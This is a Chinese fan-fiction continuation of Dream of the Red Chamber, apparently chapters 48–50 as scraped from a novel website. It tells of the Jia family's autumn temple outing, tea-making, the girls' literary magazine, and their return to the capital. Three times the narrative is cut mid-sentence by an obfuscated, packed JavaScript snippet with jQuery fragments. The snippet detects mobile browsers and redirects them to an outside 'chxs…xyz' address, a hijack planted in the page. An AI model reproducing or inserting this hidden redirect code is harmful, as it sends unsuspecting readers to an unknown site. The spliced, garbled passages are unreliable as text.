一会儿,薛姨妈吩咐丫鬟们将她先前准备的酒菜端来这里。宝玉很是自觉,待热好了酒,便为长辈和姐妹们每人斟了一杯。 众人便开始饮酒取乐,又是行酒令,又要飞花令,能想到的游戏都玩了一遍。不过两个时辰,各个都喝醉了。 时间倏忽而过,待贾政忙完公事有空闲回到家中时,又是一年秋叶黄。 贾政大概听到一些消息,是从总督陈光和处传来的,也许年后就要召他回京了。 贾政颇有些不舍在扬州的两年时光,虽不知何日离别,却想在告别前再与家人们团圆欢笑一回。待回了京城,又不知道要面对怎样的复杂情况。 这日午后,贾政正在花园中与王夫人薛姨妈闲聊,孩子们突然齐齐来了。 “你们来得这么齐,我总担心又要算计我们了!”贾政笑道。 “黛玉探春快过来,看你们跑得都冒汗了!”王夫人笑着揽过黛玉和探春,为她们俩擦汗。 探春笑道“父亲是以小人之心度君子之腹!” “哪有这样说自己父亲的呢!”薛姨妈笑道。 贾政却并不恼,问道“难道是有什么好事不成?” 探春示意宝玉和袭人,这两人忽从身后拿出两大捧刚折下来的桂花。 宝玉笑说“方才和姐妹们在那边玩,看到桂花开得正好,就想到折一些插到瓶里,孝敬父母和姨妈。” “宝玉有心了!”王夫人满意地点点头,很是欢喜宝玉与孩子们的孝心。 “宝玉过来,姨妈搂着你!”薛姨妈招招手,将宝玉揽到怀里。 黛玉看到此情形,便在脸上画着圈羞他。 宝玉皱皱鼻子,说道“你不也窝在母亲怀里撒娇吗!”黛玉便不理他,将脸埋进王夫人臂弯。 贾政起身,让小丫头将那许多桂花放到石板桌上。宝钗早已叫人准备了花瓶插花。 一时间,孩子们笑闹着灌水,插花,花园中满是欢声笑语与馥郁的桂花香味。 贾政也与孩子们一同插花,他又想到先前提过的书刊的事情,便问道“宝钗,那件事怎么样了?” 还不待宝钗回答,黛玉便道“舅舅有事只告诉宝姐姐,分明是舅舅偏心!”黛玉说罢,挽住探春手臂,似乎表明她二人的立场。 贾政便笑,拿起一支桂花插到黛玉手中的花瓶,问道“我要如何做才能将功赎罪呢?” 黛玉和探春对视一眼,探春便说“近日天气晴好,正是秋高气爽之时。听说扬州城外有一云想山,山上有一波罗寺···” 黛玉便接到“要是舅舅愿意带我们出去赏秋拜庙,那我们就放过你啦!” 贾政思考片刻,似是有些为难,宝钗见状便要说话,却被黛玉拉住了手臂。 “只是怕有人吃不了苦,走不动山路呢!”贾政笑道。 黛玉有些红了脸,自然知道贾政在说她,便笑道“舅舅太也小看我了!不就是走山路吗!又有何难?” “那咱们可要先说好了,到时谁走不动要坐轿子了,就罚她写五篇游记来给书刊供稿如何呢?”贾政又道。 宝玉拍手笑道“太好了,我静待林妹妹的大作!”宝玉话音刚落,就被黛玉戳了下脑袋,宝玉只好吐了吐舌头,掩饰尴尬。 宝钗便说“姨夫若是有空自然极好,就怕公事繁忙···” 探春道“宝姐姐,你又给父亲找借口,万一真的不带咱们去了呢!” 贾政轻轻拍了拍宝钗肩膀,笑道“哪有如此多的公事要做,纵使要忙,也应当推了公事,专心陪咱们家的公子小姐们才是要紧。” 这边孩子们已为出游热烈商讨了起来,王夫人和薛姨妈哪有没听到的道理。 贾政刚走到王夫人身边,想要说这件事,就被王夫人抢先一句“走山路我大约不行吧,不如老爷带孩子们去,我和妹妹在家里歇着。”王夫人说罢,笑看一眼薛姨妈。 贾政也看向薛姨妈,薛姨妈被姐姐姐夫弄的不知如何是好,便笑道“姐姐姐夫你们先商量吧,谁胜出,我就听谁的话。”说罢,就与孩子们凑到一处去了。 贾政想了想,又倒了杯凉茶递给王夫人,看她喝了一口,才道“夫人若是担心体力不支,我有好办法。”王夫人便笑着等贾政下文。 贾政便凑到夫人耳畔说“夫人若走不动了,我背着你···” 王夫人一听便红了脸,在贾政肩膀轻轻锤了一下,嗔道“青天白日的,老爷又拿这种话逗我!” “那夫人是去还是不去呢?”贾政追问。王夫人无法,只好连连点头。 “既然胜负已分,我便只好听姐夫的话了!”薛姨妈在旁边一直留心这边动静,此时看到姐姐表情,就上来凑趣。 云想山在扬州城西,其半山腰有一波罗寺,香火旺盛,很是灵验,往来的香客游人更是不少。 贾政虽然嘴上那样说,但还是与王夫人商议过后,预备了几顶小轿,万一孩子们体力不支,也不至于束手无策。 只是孩子们个个都很欢喜,才到山脚下了马车,就踌躇满志地开始爬山。贾政与夫人对视一眼,就由他们去了。 孩子们笑闹着已到了前面,王夫人与薛姨妈只命两三个丫鬟和小厮跟着,也没有放心不下。 英莲本想陪着薛姨妈一起。薛姨妈便摸了摸她的头,说道“跟我们几个大人有什么好玩的呢?不如随着你哥哥姐姐们去,姐妹们说说笑笑,也不辜负这美景了!” 英莲听罢,便点点头,宝钗只在旁边等着,看她不再坚持,就拉着英莲追其他人去了。 宝钗与英莲赶上了姐妹们,便笑闹着一同爬山。 只是宝玉和探春不知道从哪里拣来许多花瓣落叶,一下子扬了起来,躲闪不及的人满身都是落花枯叶。 黛玉笑道“好个宝玉三丫头,悄无声息地就要捉弄人!”黛玉说罢,又与宝玉探春打闹,姐妹们嘻嘻哈哈,均是乐在其中。 袭人为英莲拍了拍身上的落叶,英莲却拾起了色彩斑斓的一片,轻声道“这是乌桕树的叶子。” 袭人笑说“从前在京城却不怎么看到这种树。” 宝钗揽过英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025309|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲肩膀,笑问“可有诗句了呢?”英莲轻笑着摇摇头。 此时宝玉却凑过来,摇头晃脑说了一句“梧叶新黄柿叶红,更兼乌桕与丹枫。” “二哥哥难道忘了那句更有名的吗?”探春挽着黛玉手臂,笑道。 宝玉却摇了摇头,问道“是哪一句呢?” 英莲也说“三姐姐,告诉我吧!” 探春却看了一眼宝钗,宝钗笑了笑,便说“月落乌啼霜满天,江枫渔火对愁眠。” “这其中不过江枫二字,说的也是枫树,不是乌桕树呢?”英莲不解,便问道。宝玉也是同样疑惑地看着宝钗。 宝钗反而不答,又看黛玉。 黛玉走到宝玉跟前,便说“前些日子我和宝姐姐三妹妹一处写文章时,突然想到这句诗。三妹妹便问,在江南河畔似乎很少看到枫树,那这句诗中写的大约不是枫树吧。宝姐姐便说江枫可能是两个地名,并不是树木。”黛玉顿了顿又看宝钗。 宝玉追问“好姐姐们不要打哑谜了,快告诉我们吧!” 探春忍不住笑,便道“后来我们还去河边看了看,发现扬州河畔种的多是乌桕树,到了秋天便呈现出这般绚丽的红色,所以想来是作者误将乌桕树认成了枫树呢!” 宝玉却摇头“真有这样可能吗?” 宝钗笑了笑道“大约只能作为一种解释吧,三妹妹还问过府里的花匠,那人也说枫树很少种在河畔的。” 英莲听罢,笑道“如此说来,这句诗又有新的解释了!” 黛玉看英莲欢喜,便揽着她肩膀,附和道“也许是呢,也不能将作者叫过来问个清楚,不如自己想怎么解释就怎么解释吧!” 英莲笑道“我最喜欢自己琢磨诗句,有时虽不解其意,但细细琢磨着,也能有一点自己的见解。每每读时就好像面前展开一幅幅图画,我都能走进画里,细细观赏呢!” 宝玉拍手笑道“这正是读诗的好处了!” “你这样说让人以为你肚子里装了多少诗词歌赋呢!可真要让你写几首,你又脑袋空空了!”黛玉笑道。 宝玉却说“有我在反而更能显出姐妹们的才华!” “二哥哥也不害臊,怎么还骄傲起来了!”探春也笑宝玉。 “有什么好臊的,我从来不觉得自己哪里比姐妹们强的,大家在一处欢欢喜喜,玩玩闹闹,已经很好了,何必分个高下。”宝玉又道。 黛玉故意道“也许是为自己找了个台阶吧!”说罢,用手绢捂了嘴巴偷笑着,挽着探春走到前面去了。 幸而波罗寺只在半山腰,孩子们说说笑笑也就到了,并不觉得疲惫。见了寺门,他们也不着急进去,都坐在门外凉亭中,等待后面的长辈们。 此时王夫人与薛姨妈均坐着小轿。贾政却仍是步行跟在轿子旁边。 王夫人有些过意不去,想让贾政也坐轿子。 “不过是走两步路罢了,全当疏散筋骨,夫人和妹妹好好坐着吧!”贾政笑道。 “老爷都出汗了,快擦一擦。”王夫人将自己的手帕递给丫鬟锦屏,示意她帮贾政擦汗。 “哪有这样金贵,还要夫人操心。”贾政只是拿过锦屏手里的帕子,自己在脸上擦了几下,又揣了起来。 王夫人无奈笑道“也不知拿去了我多少块帕子,也不还给我。” 薛姨妈很会插话,笑道“我那里正好有宝钗拿来的许多缎子,还来不及给姐姐拿去。随姐姐喜欢,想做多少方帕子就做多少,总也用不完的。” 王夫人看了薛姨妈一眼,又看贾政,又道“我横竖说不过你们,不如你们俩多聊几句,我要打个盹。”说罢,眯了眼睛。 薛姨妈笑道“姐姐总是这样,干脆我也不说了,睡觉去也!” 贾政见状,清了清嗓子,哼了首民歌。来来往往的游人倒是笑着打量他,他也不理会,只自顾自地哼曲怡情。 王夫人仍眯着眼睛,手指却一下下敲着竹椅,和着贾政哼唱的节奏。 而今何事最相宜?宜醉宜游宜睡。 49.白日放歌须纵酒 待贾政几人也到了波罗寺门前,孩子们早就迎了上来。王夫人与薛姨妈也下了轿子,走到孩子们旁边。 黛玉笑道“舅舅还记得昨日怎么说的?” 贾政故作不解,摇了摇头。 黛玉跺跺脚,气道“舅舅偏袒人!” 宝钗却揽着黛玉肩膀,说道“姨夫偏袒了何人,你自去找出来,加以惩戒不就是了?” 黛玉挽着探春手臂,说道“宝姐姐也要欺负我,三妹妹,咱们要怎么办呢?” 探春便在黛玉耳边说了几句话,黛玉点了点头。 王夫人和薛姨妈自然早有预料,只是笑看孩子们的反应。 黛玉和探春哪有什么新奇的招数,只是仍像平时那样,挽着王夫人和薛姨妈的手臂撒娇,纵然这样简单,两位长辈早就软了心肠。 王夫人便说“既然我们犯规了,便自愿接受惩罚吧。”薛姨妈也是笑着如此说。 黛玉想了想,便道“罚舅妈和姨妈为我们每人裁两件冬衣,如何呢?” 薛姨妈便笑“何止两件,十件都可以!” 宝钗也道“单为黛玉和探春再做两件披风,怎么样呢?” 黛玉却说“我们又没有找你要,宝姐姐何必来凑热闹?不过既然宝姐姐主动提出来了,我和三妹妹就勉为其难答应了。” 宝钗很是好笑,在黛玉鼻尖点了一下,笑道“姨妈你看看,她自己得了好处,却说得好像是为我好一样。颦儿这个嘴啊,真是让人恨也不是,爱也不是!”说罢仍不满足,又在黛玉的脸颊轻轻捏了一把。 黛玉捂着脸,扑到薛姨妈怀里撒娇道“姨妈管管宝姐姐好不好,她又欺负我呢!” 薛姨妈却说“你们姐妹几个,不是这个找我帮忙,就是那个又欺负别人了,我还是站到旁边谁也不管比较好,不然又说我偏心了!” 黛玉无法,又看向王夫人,脸上满是娇憨之态,王夫人立刻软了心肠,揽着黛玉道“好孩子,舅妈搂着你。” 这边又玩闹了一会儿,众人便进了寺庙。孩子们都是有规矩的,进了庙里,也不再打闹,只是静静各自上了香,又叩拜过,舍了香油钱,便在寺里观赏。 寺庙规模不小,各处屋舍倒有好几十间,其中亭台游廊也很有趣味。孩子们转了大半,便有些累了。 那边王夫人和薛姨妈早就吩咐人预定了庙里的斋饭。只是今日往来香客众多,他们便与其他人一同吃斋,也没有什么特殊待遇。 用完斋饭,宝玉和探春又在禅房后面找到一处极清幽的小花园,就与姐妹们一起去花园中逛了逛。 “宝玉你看,这是什么水?”探春指了指花园中的三股山泉水问宝玉。 宝玉走近了看到其上一方红褐色石头,刻了三个篆字,并几行小字做以解释。 贾政王夫人薛姨妈已经坐到了泉水旁的石凳上,中间还有一方大石板桌。 此时阳光斜斜打在人身上,鼻中闻得阵阵草木清香,难免引人困倦。 宝玉突然拍手道“这泉水名叫救疫泉,前朝时此地发生了瘟疫,有传言此泉水可以抗疫救人,众人便来此饮了泉水,果真好了,便得了这个名字。” 黛玉笑他“怎么急吼吼的,慢慢读不好吗?” 宝玉有些不好意思,笑道“我是想到咱们可以煮些泉水来泡茶喝,一时兴起。” 探春早和宝钗拿出了提前准备好的茶具,在石桌上布置好了。 “还是宝姐姐想得周到!”宝玉赞道。 宝钗笑了笑却说,“你们哪里知道这是姨夫准备的?他早知道庙里有这山泉水,偏你们提出要来,却不知道预备这个。” 探春笑道“既然准备好了,咱们就来烹茶吧!”说罢自己先拿了茶壶灌了一壶山泉水,又放到了小火炉上,开始烧水。 王夫人在旁边有些倦意,本想半靠着躺椅歇一会儿,却觉得在外面如此不太好。就起了身,四处走了走,又打起精神来。贾政虽没有一直跟着,却时刻留意着王夫人。 不一会儿茶泡好了,宝玉和探春先倒了三杯茶奉给了长辈。 贾政闭上眼睛抿了一口,故意道“这是什么茶呢?我却猜不出了。” 宝钗却和黛玉对视了一眼,黛玉便道“姨夫再猜猜看!”王夫人和薛姨妈听了,自是疑惑,就也喝了一点,细细品味。 王夫人尝了一口,心下了然,便说“有一点陈皮味。” 薛姨妈道“却又像是新鲜的陈皮?没有那种晒干了的味道。” 探春拍手笑道“只有父亲答不出来!” 贾政又喝了一口,才慢悠悠说道“大概是将茶水用新鲜的橘子皮滤出来的吧!” 宝钗和黛玉早知道贾政是故意的,只是笑笑,也不搭话。 正说着话,另一壶水也滚好了,宝钗又泡了茶,为姐妹们每人倒了一杯。 英莲和袭人喝了会儿茶便去花园里玩去了,待回来时又捡了许多树叶。 探春见了,叹道“一叶落而知岁之将暮,突然想到了之前还在京城时,家人们去红叶岭赏秋,还在田庄小住了几日。不知不觉,竟然都两年多了。”说罢,又想到了迎春姐姐和京城的家人,又叹了口气。 黛玉揽着探春,说道“怎么你反倒伤春悲秋了呢!以前这可是我的事情,你们总还要劝我呢!”黛玉故意这样玩笑,也是为了安慰探春。 宝钗也道“怪不得自古以来写秋的名句那么多,诗人们遇到这样草木凋零的季节,也难免伤感了。” 宝玉却说“姐妹们不要难过了,快来吃我刚烤好的板栗!” 宝玉正说着,一只板栗炸开了,崩到了他身上。宝玉忙用衣袖捂了脸,嘴里咿咿呀呀哼了几声。 王夫人和薛姨妈忙忙过来看宝玉。 黛玉也道“可烫到了?让我看看!” 探春也用手帕沾了水,正要为宝玉敷脸,宝玉却做了个鬼脸,笑道“我骗你们的!” 黛玉啐了一口,笑道“以后再不信你!”探春同样,没有理会宝玉。 宝玉便道“我好心逗你们开心,你们反倒怪我!”说罢,似乎很委屈。 王夫人却将宝玉揽到怀里,低声宽慰了几句,劝道“姐妹们也是担心你,你这样骗她们的感情,她们难道不该生气吗?以后若是开玩笑,也不该拿这样的事玩笑。” 宝玉在母亲怀里蹭了蹭,又道“母亲,我也不该让你和姨妈为我担心的,以后再不这样了!” 王夫人很是慈爱地摸了摸宝玉的头,笑道“快去和妹妹说清楚了,姐妹之间有什么话不能说的。”宝玉听了,便去道歉了。 贾政早就看出来宝玉是在假装,也没有上前关怀。他见宝钗也是安坐不动,也觉好笑。举起了茶杯,与宝钗远远地示意了一下,因为不合乎规矩,宝钗只是笑看贾政,并没有碰杯。 贾政也无所谓,喝尽了茶,自己拿起了水壶,又去烧水了。贾政泡好茶,又为孩子们各倒了一杯。 众人又在花园中喝了一会儿茶,待太阳西斜时,也就动身下山了。 孩子们度过了一个极忙碌却极充实的秋天。正事也做了许多,赏景游玩也没有放过。待书坊的第一期文苑笔谈刊印出来,已经入冬了。 因为前期准备工作繁多,内容都是她们几个创作的,她们很是担心刊印出去没人看,更没人买。 宝钗所创的文苑书坊既是专卖书籍,也是文苑笔谈唯一的售卖处,大约相当于古代的出版社直营店铺吧。 贾政与林如海私下里说过这件事,林如海想到孩子们一番心血,自己也不好横加干预,便是默许了。也不忘叮嘱贾政要好好管教他们,诗文署名只能用别号,不可让外面的人知道了实际作者名姓。贾政自然郑重答应了。 外面簌簌飘着雪花,屋里烧着两个大火盆,孩子们窝在炕上听宝钗讲第一期刊物的售卖情况。 宝钗看姐妹们都很期待,也不太想将实际情况告诉她们。正犹豫时,救星来了。 “你们的那个文苑笔谈,我在衙门里都听到好多人谈这个了,买的人可不少呢!”贾政边说话边进了屋子看,身后自然又是王夫人与薛姨妈。 “果真如此吗?父亲没有骗我们?”探春很是高兴,忙忙问道,边说话边上前扶着母亲和姨妈。 贾政接过了黛玉捧来的茶,抿了一口,笑道“连水务衙门的人都知道你们的刊物,想必读书的学子们也有耳闻了吧!” 贾政顿了顿又说“你们应当好好感谢宝钗才是,为了宣传文苑笔谈,宝钗不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030234|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道想了多少办法来让人知道有这么一本新出的刊物!” “自是宝姐姐的功劳最大!”探春说着也捧了杯茶送到宝钗面前。 宝钗笑着接过茶,回道“只要大家的心血没有白费就好了。我只想姐妹们的才华不被埋没,能多一个人看就是好事。” 黛玉本不在乎有无人买,自古以来多少才华被埋没,都是必然的。只是听到宝钗如此说,便也觉得既然做了这件事,那么能多一个看到,便多卖一份。换来的银钱总是用到姐妹们身上,也是好的。 黛玉想到这里,便笑说“有宝姐姐打点着,不愁咱们日后没有钱用呢!” 宝钗笑道“本以为你是个五谷不分的,如今也在乎那些身外之物了!” “没有身外之物,我们冬天便没有火烤,没有棉衣穿,岂不受冻吗?横竖我也不是那吸风饮露的仙人,不过一肉体凡胎罢了!”黛玉笑道。 宝玉便说“林妹妹说得正是!” 探春却摇头笑道“二哥哥若答得上我的问题,我便信你!” 宝玉问是什么问题。 探春走到火盆前,伸出双手烤了一会儿才道“二哥哥可知道这一斤木炭要多少钱?” 宝玉一听便愣住了,环视一圈看了看姐妹们,见无人愿意帮他。就又走到王夫人身边,王夫人自然想帮儿子回答的,待要说时,却被探春阻止了 “母亲帮哥哥作弊!父亲快看!”探春拉着贾政手臂,就往炕桌前带。 宝玉见此情景,只好认输,便说“我以后多了解这些事务,三妹妹总没有话说了吧!” 黛玉笑道“早该如此,舅妈处理家事时也该带着宝玉一起,不然他连一两银子能买多少东西都不知道。” 王夫人便笑着将宝玉搂在怀里,说道“宝玉你可听到了,日后还是要多学一些俗事。” 贾政笑道“宝玉确实要向姐妹们学习,你看她们,既能写文章,又懂家务俗事。你若是只顾诗词歌赋,只怕日后无法撑起一个家。” 贾政这话外人听着却有些重了,宝钗听着也觉得不像,只是不好开口。 王夫人了解贾政,知道他在开玩笑,就没有很在意,让宝玉去和姐妹们玩了。 “多喝点茶,屋子里又热又干的,容易上火。”贾政叮嘱王夫人道。 王夫人接过贾政递给她的茶,笑着喝了一大口。 “又快过年了,时间过得可真快啊!”薛姨妈怀里搂着英莲,突然感慨道。 王夫人也叹道“人到中年都有这样的感悟吧!日子总是不禁过,大概等下一次再有人这样说时,我们几个都满头白发了!” 贾政却摇头笑道“待夫人头发白了,我便将黑芝麻捣成汁,将夫人的头发染成黑的,那样你就不用发愁了。” “这好极了,满身都是芝麻香味,只要闻着就可以多吃一碗饭!”薛姨妈笑道。 贾政被王夫人瞪了一眼,并不觉得什么,反而将茶壶拿了过来,又为夫人续满了茶。 “咱们下一期做什么题目呢?”黛玉问道。 探春想了想,说道“第一期写了各样秋景,第二期便写冬景了?” 宝玉道“这个不好,总是写景,没有新意。” 探春笑说“二哥哥想个题目出来!” 宝玉笑了笑,便道“我想不如将冬日可写之物拟十几个题目出来,大家各自挑了,随意写诗词歌赋都可。” “还不是照着三妹妹说的?”黛玉笑道。 宝玉并没有不好意思,便说“我只是帮助三妹妹拓展了题目。” 宝钗道“既然第一期有些人看了,咱们也就可以开始广泛征文了。” 黛玉拍手道“却把这个忘了!” “那咱们要先写一个征文告示吗?”探春问道。 宝钗点点头,说道“原计划是一月一刊,现在第一期刚出,咱们中间可作一次征文告示。到时若有人回应,便挑选了放在第二期,若没人回应,就只好仍有咱们来写了。” 探春拍手笑道“上次林姐姐一人的文章占了一大半,这回我定要与她比一比!” 英莲也说道“这次我也要多写一篇呢!” 黛玉自信道“你们只管写来,我也不会轻易让给你们的!” 50.青春作伴好还乡 春风又绿江南岸,又是一年花开时。 贾政接到了正式的调令,他升了工部郎中令,并让他择日回京。他便和王夫人说了这件事。 王夫人自是高兴,笑道“老爷既升了官,咱们一家也能回京了,真是大好事!” 可是贾政却叹了口气。 王夫人细看贾政神情,也有了一点猜测,便道“老爷担心孩子们回了京城反而不自在了吗?” 贾政点点头,又道“我本意是想让孩子们自在随心地长大,如今在扬州好在可以放任他们。若是回了京,府里规矩又严,总不好仍像这里,大家玩玩乐乐,不顾及什么规矩。” 贾政顿了顿又道“夫人管家多年,自然知道其中烦难。如今辛苦凤丫头料理着,夫人抽身了。待回去了,夫人又少不得理事,外面事事要你应酬。我都替你嫌烦,你却一点也不操心。” 王夫人却说“不过都是应当做的,哪有什么烦难可抱怨的?” 贾政忽然意识到自己言语失当,又握住夫人双手,笑道“夫人想家了,想念珠儿,想念老太太,我本不应当说刚才的话,是我一时大意了。” “抛开这些不提,我也担心孩子们。也许在扬州的生活确实太自在了!”王夫人重重叹了口气。别说孩子们了,就连她在扬州这两年,都体会到了从没有过的自在舒心。 贾政又道“不说这个,夫人要不找机会问问妹妹愿不愿意随咱们进京呢?” 王夫人略微惊讶,说道“待我问问看吧。” 贾政点了点头,说道“老太太肯定愿意咱们带着黛玉一同回京的,如海那边应当也没什么不答应的。我是真心想让妹妹与咱们一同回京,她在金陵只有一个哥哥,再无什么亲人。反而在京城有你这个姐姐,还有二哥,有血亲伴着,总是好的。” 王夫人自然知道贾政所言是考虑到她的缘故,便笑道“老爷总是这么体谅我。” 贾政笑了笑,便说“夫人既要谢我,应该拿了谢礼过来,显得郑重一些。” 王夫人想了想,起身为贾政倒了杯茶,说道“清茶一杯,略表谢意。” 贾政喝了一大口,叹道“为何比我自己倒的茶更好喝呢?”王夫人但笑不语。 玩笑罢,贾政又正色道“只是我担心宝钗有自己的主意,也许不愿意回京吧。你与妹妹说时,记得叫宝钗一起。她若不愿意也无妨,以后也有机会相聚。” 王夫人也知道宝钗是个有主意的,薛姨妈也很听宝钗的话。有宝钗在妹妹身边,纵然她们不去京城,王夫人也很放心。 贾政因忙着交接公务,没时间再一一和孩子们细说,王夫人自然揽了这个差事。她先与薛姨妈说了这事。 薛姨妈听罢,便道“姐夫高升,自然是好事。只是进京一事,我却···” 宝钗听罢,却道“母亲有什么犹豫呢?” 薛姨妈拍了拍宝钗手背,说道“且不说咱们家的生意大部分都在江南,还需要你来操心。单说你哥哥那么难以管教,我只怕去了京城更束缚不住他。” 宝钗略微思考便道“母亲无须忧虑这些事情,我只觉得您与姨妈姐妹俩可以日日相伴,就是最大的好事。 您若是因为我和哥哥而不愿意与姨妈进京,到时您孤零零的,身边连个说话的人都没有,岂不是我们不孝吗?” 宝钗见母亲神情松动,又道“姨夫姨妈盛情难却,母亲就不要推辞了!”说罢又凑在母亲耳畔道“若是在贾府母亲觉得不自在,咱们家在京里也有屋舍,到时再搬出去,也不妨事的。” “宝钗这丫头,总是那么多道理!”薛姨妈将女儿搂在怀里,慈爱地抚摸。 王夫人见状,自然知道宝钗说动了薛姨妈,便叹道“还是宝钗能言善道,比我说的话管用多了!”说罢,又叹了口气。 “姨妈何故叹气呢?”宝钗将点心盘子捧到王夫人面前,问道。 “我和你母亲小的时候,她比我更顽皮一些,只是她却很听我的话。凡事老爷太太不让她做的,她便要试试,但我若劝她一句,她总很听话。只是如今,却大不相同了呢!”王夫人笑道。 “有这回事吗?我怎么不记得了!也许是姐姐撒谎了呢?”薛姨妈故意道。 “我才不和你计较,一把年纪了,反而又活成了小时候那个顽皮样子了!”王夫人笑着摇摇头,拈了一块点心吃。 正说笑时,外面突然传来一句“二哥哥,你又抢我的东西!” 宝钗朝门外一看,原来是探春正和宝玉玩闹,宝玉抢了探春刚折的桃花。 “宝玉别闹了,快还给你妹妹!”王夫人笑道。 宝玉并没听话,进了屋,就从柜上拿下来一只瓷瓶,灌了水,将手中的一把艳艳桃花插了进去。 做完这些,宝玉又将花瓶拿到薛姨妈面前,笑道“姨妈,这瓶花孝敬您的!” 薛姨妈笑着揽过宝玉,又道“我的儿,难为你们的孝心!” “借花献佛,哪有这样的呢?”探春不服,瘪着嘴半靠在王夫人身上。 “我也替三妹妹不服!”黛玉笑道。 “一会儿罚宝玉多折些花来,给你们每人插一瓶,可好呢?”王夫人摸摸探春脸颊,安慰道。 探春笑着点头“很该如此呢!” “好啦,你们兄妹俩别闹了!看她们俩这生气的模样,真是一对亲兄妹!”宝钗也笑道。 王夫人笑罢,又道“我有正事要和你们说。”孩子们听了,都敛了神色,只待细听。 “你们父亲升了郎中令,咱们过些日子就要回京了。”王夫人说罢,也细看孩子们的神情。 探春就坐到黛玉身旁,轻声道“林姐姐与我们一同回京,好不好呢?”探春说罢,又面对宝钗道“宝姐姐也一起去吧!” 宝钗笑着点了点头,探春立刻高兴了起来。 此时宝玉见黛玉神情难过,便对王夫人急切道“母亲,咱们和林姑父说一说,也带林妹妹回去,就说老祖宗想林妹妹了!” 宝钗揽着黛玉肩膀,安慰道“这次进京和上次不同,林姑父身子也好,你不用担心什么。去了京城既见见老太太,又和姐妹们聚一聚。待日后家里有事也可以再回来,你有什么好担心的呢?” 宝玉也道“林妹妹听宝姐姐说的,就和我们去吧!你若是担心姑父不同意的话,我让父亲去劝姑父!” 黛玉本来半张脸埋在探春臂弯,此时突然笑了起来。 探春笑道“原来林姐姐是在骗我们!”说罢又在黛玉手背轻轻拍了两下。 宝钗同样笑道“就说颦儿怎么一句话不说,真真该打!”宝钗也在黛玉脸颊掐了两下。 黛玉无法,又扑到王夫人怀里,撒娇道“舅妈,我若一同回京,她们还这样欺负我,舅妈一定要帮我!” 王夫人笑道“谁敢欺负咱们林姑娘呢,我告诉你舅舅,让他挨个教训一遍!” 宝玉见黛玉原来是假装的,便也不再担心,朝黛玉哼了一声。 “既如此,咱们姐妹们在京城也可以团团圆圆的了!”探春拍手笑道。 “咱们诗社更要热闹了呢!”宝玉也道。 薛家的事自有薛姨妈和宝钗打点,事务繁杂,很需要一番力气。幸而王夫人也来帮忙,倒是节省了不少时间。 薛蟠这些日子也很争气,不仅再也没有闹事,在铺子里也很上心。薛姨妈虽心里满意,但仍狠了狠心,将儿子安排在江南打理生意,不让他进京。薛蟠对此,并无抱怨,只是很郑重的向母亲和妹妹表明了自己的决心。 因为舍不得书院的先生,孩子们去辞别时,宴乐和时清带着学生们座谈一会,略表师生同学情谊。 贾政也与林如海说了自己要回京的事情,又说起黛玉,林如海自无半点阻拦,反而很高兴黛玉有这么多亲人关怀教养。 若是女儿留在扬州,既无兄弟姐妹,他作为父亲也不好教养女儿,倒不如让她也跟着进京。因此纵使心中不舍,林如海也很欢喜女儿再去京城。 此次离别,与上次却是千差万别了。林如海少不了一番叮嘱,黛玉却也乐观,反而对父亲也有一番叮咛。林如海叹道“玉儿长大了,父亲也很放心你。” 黛玉笑道“舅舅说父亲也许这一两年也要调到京城呢,女儿盼着在京城与父亲相见!” “你这个舅舅真是什么话都要与你们说,我本来还想到时让你们惊讶一番呢!”林如海笑道。 “舅舅喜欢与孩子们玩,他有时也像宝玉那样顽皮呢!”黛玉又笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034292|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林如海摸摸女儿的头,笑道“玉儿开心就好!只要玉儿快乐,父亲再也没有什么可担心的了!” 贾政启程前就向京城去了信,说明他们一行有哪些人,路途需要多少时间。贾府众人接到了信,最开心的莫过于贾母。 坐船二十六日,贾政与家人们便再度到达了京城渡口。此去扬州,两年时光,孩子们长大了不少。 祖孙相逢,总少不了眼泪欢笑。哭过笑过,孩子们立刻拿出了各自准备的礼物,先献给了贾母。其余姐妹们的礼物,私下里相聚时,自然少不了。 “姨太太的屋舍可安排好了?”贾母问王熙凤。 王熙凤笑道“早就安排妥当了,就住在梨香院,小巧精致,又极便利,正适合姨妈一家住着呢。” 薛姨妈又道“倒是麻烦你们了,只是日子长了,这日常花销便不用麻烦府里了。” 贾母也知道薛家并不困难,如此才是亲戚们长久相处的道理,也就与王熙凤说了,听薛姨妈的就是了。 这边亲友见罢,少不了接风摆宴。贾母又难得高兴,将宁府的女眷们也请了过来看戏吃酒。 次日又要设宴庆贺贾政升官,两府里又是好一番热闹,各处亲友也有赴宴的,也有送贺礼的,很是热闹了几日,这才清闲了下来。 